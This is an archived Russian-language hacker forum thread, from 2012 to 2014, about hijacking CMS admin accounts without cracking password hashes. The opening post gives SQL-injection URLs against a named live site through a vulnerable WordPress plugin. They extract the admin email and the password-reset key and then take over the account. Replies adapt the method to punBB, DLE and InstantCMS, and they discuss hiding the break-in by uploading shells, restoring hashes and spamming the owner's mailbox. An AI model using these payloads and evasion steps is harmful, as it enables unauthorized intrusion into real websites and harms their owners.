Просмотр полной версии : Получаем доступ в админку Wordpress без расшифровки хэша
Приветствую. Решил написать небольшую заметку.
Как вы знаете чтобы зайти в админ-панель Wordpress, нужно расшифровать хэш администратора.
Но я понял как входить в панель без ожидания расшифровки хэша.
Покажу на примере.
У нас есть блог, где мы уже вывели данные из таблицы wp_users.
Торопится выводить пароль не стоит, выведем e-mail администратора:
http://www.abbdi.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3+union+select+1,2,3,group_concat(user_login,0x3a, user_emai),5,6,7,8,9,10,11+from+wp_users--
И результат запроса:
admin:hackingmaster94@gmail.com
Так. Теперь идем на страницу авторизации wp-login.php, и переходим на страницу восстановления пароля (В нашем случае Passwort vergessen).
Вводим e-mail администратора который мы получили выше, и отправляем письмо.
Пол дела мы сделали. Особенность Wordpress такова, что код подтверждения записывается в БД.
Делаем такой запрос:
http://www.abbdi.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3+union+select+1,2,3,group_concat(user_login,0x3a, user_activation_key),5,6,7,8,9,10,11+from+wp_users--
И в результате мы получаем активационный код:
P6rd7g1bPW28zgbPCRtZ
Теперь идем на страницу сброса пароля (При этом заполнив параметры):
www.abbdi.com/wp-login.php?action=rp&key=P6rd7g1bPW28zgbPCRtZ&login=admin
И мы видим что нам предлагают ввести новый пароль, вводим, и меняем.
Далее привычная авторизация.
Ну вот и все. Есть некоторое примечание, этот способ может не работать на тех блогах, где отключен mail().
Способ работает не везде.
(с) MaxFast
Аммм...сорри ТС а для какой версии WP?
И как получить хэш для версии 3.4.1
Аммм...сорри ТС а для какой версии WP?
И как получить хэш для версии 3.4.1
Ну я тестировал на 3.2.1.
Все данные я вытянул с помощью SQL Injection в плагине.
Prosta4ok
07.11.2012, 17:32
Аммм...сорри ТС а для какой версии WP?
работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..
ТС скажи пожайлуста как я понял то даже хеша пароля не нужно знать?
ТС скажи пожайлуста как я понял то даже хеша пароля не нужно знать?
Пароль знать не нужно, да.
Главное узнать e-mail, и активационный код.
Alexey_S
07.11.2012, 18:09
работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..
если шел зальешь, базу можно будет вернуть в исходное состояние.
если шел зальешь, базу можно будет вернуть в исходное состояние.
И удалить письмо с восстановлением пароля с почты владельца?
Alexey_S
07.11.2012, 18:22
И удалить письмо с восстановлением пароля с почты владельца?
Он может его и не прочитать, как повезет.Но если оставить как написано в первом посте, факт обнаружения выше.
Хм спасибо извлек для себя новое)А по поводу палева-если цель не очень то может и админ оказаться не совсем компетентным просто вернуть пасс обратно и забэкдорить какой нить скрипт авось и не заметит)
А если какойнибудь крупный сайт то тут уж и денег не жалко ящик его проспамить. Лови +++
Кстати а как с джумлой обстоят дела?Там же тоже должно катить.
Данный способ подходит для большого числа CMS и движков, за исключением тех, которые высылают на e-mail сам пароль.
GrandMaster
07.11.2012, 20:44
работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..
Отчего же? заливаем шелл, в бд меняем наш хеш админа на старый
И удалить письмо с восстановлением пароля с почты владельца?
Ну кто то узнал мейл и пытался восстановить пароль. Что такого то? Там же вряд ли приходит новый пасс
Плагин HD Webplayer далеко не везде установлен. Но за способ +.
Плагин HD Webplayer далеко не везде установлен. Но за способ +.
Дело не в нем. Каждая БД вордпресса хранит одни и те же поля. Просто этот блог самый первый с SQLi попался.
Дело не в нем. Каждая БД вордпресса хранит одни и те же поля. Просто этот блог самый первый с SQLi попался.
Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.
Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.
Какая разница как именно и через что проводить инъекцию? У Wordpress'a много уязвимых мест.
justonline
08.11.2012, 11:06
Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.
да ты гений прям. тут описывается не инжект в плагины, а реализация входа через "окно" в админку WP. Как ты будешь проводить injEction - дело десятое.
да ты гений прям. тут описывается не инжект в плагины, а реализация входа через "окно" в админку WP. Как ты будешь проводить injEction - дело десятое.
Но ведь такой метод можно реализовать и на другой cms не обязательно wp, а автор описывает именно как баг wp. А без инжекта ты воспользоваться этим способом не сможешь в принципе, так что он далеко не последнее дело.
Но ведь такой метод можно реализовать и на другой cms не обязательно wp, а автор описывает именно как баг wp. А без инжекта ты воспользоваться этим способом не сможешь в принципе, так что он далеко не последнее дело.
Суть этой статьи в том, чтобы показать как обойти расшифровку пароля на Wordpress.
Тут совершенно неважно какая бага, тут только прочитать данные из поля нужно, и все.
Ааааааа, ну зачем-зачем-зачем ты спалил!!
Кстати а как с джумлой обстоят дела?Там же тоже должно катить.
с 1.7 в базе код восстановления хеширован.
winstrool
08.11.2012, 20:09
ну раз с WP раскрылась тема то и до джумлы доберутся)
вообщем в таблице юзеров есть такая колонка "activation" вней появляются значение захешированое, в моем примере для теста я зарегался на одном из уязвимых сайтов и востонавил пасс, до востановления там был такой хешь "521608068f705c84e225b8bc30e387d6:$1$e47b7a03$"
на почту пришел такой хешь "985255f8d4bbe03c95ec3b144fc43da8" т.е это хешь под хешом что приведен выше, и чтобы его получить прийдется его сбрутить!
форма ввода данного кода: /index.php?option=com_user&view=reset&layout=confirm
kingbeef
09.11.2012, 02:56
ну раз с WP раскрылась тема то и до джумлы доберутся)
вообщем в таблице юзеров есть такая колонка "
activation
" вней появляются значение захешированое, в моем примере для теста я зарегался на одном из уязвимых сайтов и востонавил пасс, до востановления там был такой хешь "
521608068f705c84e225b8bc30e387d6:$1$e47b7a03$
"
на почту пришел такой хешь "
985255f8d4bbe03c95ec3b144fc43da8
" т.е это хешь под хешом что приведен выше, и чтобы его получить прийдется его сбрутить!
форма ввода данного кода: /index.php?option=com_user&view=reset&layout=confirm
Так 100 лет можно брутить хэш.
Короче походу все мои исследования, что я по ретриву проводил пора выкидывать в мусорку... Дальше так и пойдёт....
winstrool
10.11.2012, 18:31
Так 100 лет можно брутить хэш.
раньше открытые были, потом пофиксели с какойто версии.
продолжу тему раз уж нато пошло
форум punBB 1.3.4
select+substr(concat_ws(0x3a,id,username,email),1, 99)+from+forum_users+limit+1,1
получаем
2:Администратор:емеил@list.ru
идём на страницу востановления пароля
http://сайт.ру/forum/login.php?action=forget
вводим емеил, далее
select+substr(concat_ws(0x3a,id,activate_key),1,99 )+from+forum_users+limit+1,1
получам
2:uEH7Wftq
далее меняем пароль
http://сайт.ру/forum/profile.php?action=change_pass&id=
2
&key=
uEH7Wftq
Тогда можно переименовать тему, и посвятить ее способам на других CMS.
Не торопитесь, ребят, скоро в ветке Уязвимости выложу весь свой труд по этому направлению - там всё и будет...
Sergeynia
21.11.2012, 16:11
Да можно создать тему
Prosta4ok
21.11.2012, 16:57
Не торопитесь, ребят, скоро в ветке Уязвимости выложу весь свой труд по этому направлению - там всё и будет...
может не стоит?) захэшируют же все))
переносите тему в ветку уязвимости.
BigBear'у теперь некогда этим заниматься, а тема не должна затеряться.
Способ так-же подходит для VB - при восстановлении устанавливается новый 8-ми символьный цифровой пароль, который сбрутить не составит труда, хэши в ссылке на восстановление не используются.
Потом хэш можно вернуть на изначальный, только вот письмо из почты админа никуда не денется, хотя возможно в других двигах есть свои нюансы.
Cennarios
19.01.2013, 14:32
Версию не уточнял!
DLE:
1) http://site/?do=lostpassword (via email)
2) use bug:
http://site/script.php?video=-49674'+union+select+1,2,lostid,4,5,6,7+from+dle_lo stdb+where+lostname='1'--+
В данном случае, lostname - это ID пользователя - обычно админ
3)переход по линку:
http://site/index.php?do=lostpassword&action=password&douser=1&lostid=a05e0f74df705f0a1e3ab0803f82a7fd046214d5
4) Генерится 11 символьный пароль из loweralpha и digit. Причем, есть шанс, что сгенеренный пароль будет only 11 digit's
P.S Лично у меня 11 lenght DIGIT simblols EGB обходит перебором за пару минут.
Instant CMS v1.9
CСсылка формируется согласно шаблону:
Query -
SELECT *, DATE_FORMAT(logdate, '%d-%m-%Y-%H-%i-%s') as logdate FROM cms_users WHERE email = 'email' LIMIT 1
Непосредственно вычисление хеша:
$usercode = md5($usr['id'] . '-' . $usr['login'] . '-' . $usr['password'] . '-' . $usr['logdate']);
В результате прямой линк на сброс пароля принимает вид:
http://site/registration/remind/bbd4da8d02433a6bdea3d3019458f951
Далее в форме вводим новый пароль:подтверждение.
P.S. В stable что лежит на офф сайте код в алгоритм формирования ссылки в конец добавляется константа PATH ( $_SERVER['DOCUMENT_ROOT'])
Like this:
$usercode = md5($usr['id'] . '-' . $usr['login'] . '-' . $usr['password'] . '-' . $usr['logdate'].PATH);
ninja96c
11.09.2014, 12:10
WP 3.9.1 и выше (может и ниже) - ключ активации хешируется.
20 символов [a-zA-Z0-9] - проще хеш админа подобрать...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot